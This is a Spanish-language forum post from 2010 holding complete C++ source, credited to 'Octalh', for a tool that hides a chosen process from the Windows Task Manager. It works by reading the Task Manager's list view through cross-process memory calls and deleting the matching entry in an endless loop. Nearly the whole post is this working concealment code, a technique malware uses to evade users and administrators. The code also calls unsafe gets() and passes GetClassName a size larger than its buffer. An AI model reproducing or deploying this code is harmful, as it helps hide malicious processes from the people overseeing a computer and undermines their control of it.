Sáb Oct 02, 2010 4:39 pm
- Código:
/*
[ Programa ]
Ocultar procesos al administrador de tareas (Task Manager) Sin inyeccion.
By Octalh
Testeado en Windows XP SP2
[Tienes que estar registrado y conectado para ver este vínculo]
*/
using namespace std;
LVITEM ItemLista, *_ItemLista;
char item[512], subitem[512];
char *_item, *_subitem;
unsigned long pid;
HANDLE HProceso;
char ExeProc[50]; //Proceso a ocultar
BOOL CALLBACK PrOcultar(HWND hwnd,LPARAM lParam)
{
char HLista[150] = "";
char HAdminT[150] = "";
GetWindowText(hwnd,HAdminT,149);
GetClassName(hwnd,HLista,249);
if (strstr(HAdminT,"Procesos") && strstr(HLista,"SysListView32") !=NULL)
/* Si encontramos la columna "Procesos" en el Taskmanager y la clase "SysListView32"
de la listvew
*/
{
int count=(int)SendMessage(hwnd, LVM_GETITEMCOUNT, 0, 0); // Contamos los Items listados
int i;
GetWindowThreadProcessId(hwnd, &pid); //Obtenemos el Pid de cada Proceso listado como Item
HProceso=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|
PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, pid);
// Obtenemos el Hndle del proceso como Item de la Listvew
_ItemLista=(LVITEM*)VirtualAllocEx(HProceso, NULL, sizeof(LVITEM),
MEM_COMMIT, PAGE_READWRITE); // Asiganos permisos de lectura y escritura al Listvew
_item=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
PAGE_READWRITE);
_subitem=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
PAGE_READWRITE); // Asiganos Lectura y Escritura en la region asiganda
ItemLista.cchTextMax=512;
for(i=0; i<count; i++) { // Contamos cada Item en un Bucle
ItemLista.iSubItem=0;
ItemLista.pszText=_item;
WriteProcessMemory(HProceso, _ItemLista, &ItemLista, sizeof(LVITEM), NULL);
SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista); // Obtenemos el nombre de cada Item (Proceso)
ItemLista.iSubItem=1; // Posicion de la columna en el listview
ItemLista.pszText=_subitem;
WriteProcessMemory(HProceso, _ItemLista, &ItemLista, sizeof(LVITEM), NULL);
SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista);
ReadProcessMemory(HProceso, _item, item, 512, NULL);
ReadProcessMemory(HProceso, _subitem, subitem, 512, NULL);
if (strstr(item,ExeProc) != NULL) SendMessage(hwnd, LVM_DELETEITEM, (WPARAM)i, (LPARAM)_ItemLista);
// Si exise el Proceso a Ocultar, eliminamos el Item de la Listvew
}
VirtualFreeEx(HProceso, _ItemLista, 0, MEM_RELEASE); // Libreamos…
VirtualFreeEx(HProceso, _item, 0, MEM_RELEASE);
VirtualFreeEx(HProceso, _subitem, 0, MEM_RELEASE);
return FALSE;
}
return TRUE;
}
int main(){
HWND fwindow;
printf("%s","\n\n Ocultar Procesos al Task Manager \n");
printf("%s","\n << By Octalh >>\n\n");
printf("%s"," [ [Tienes que estar registrado y conectado para ver este vínculo] | [Tienes que estar registrado y conectado para ver este vínculo] ]\n \n");
printf(" Escribe el proceso que deseas ocultar: ");
gets(ExeProc);
printf("\n\n Ocultando Proceso: [ %s ]",ExeProc);
for(;;)
{
EnumChildWindows(FindWindow(0,"Administrador de tareas de Windows"),PrOcultar,0);
}
return 0;
}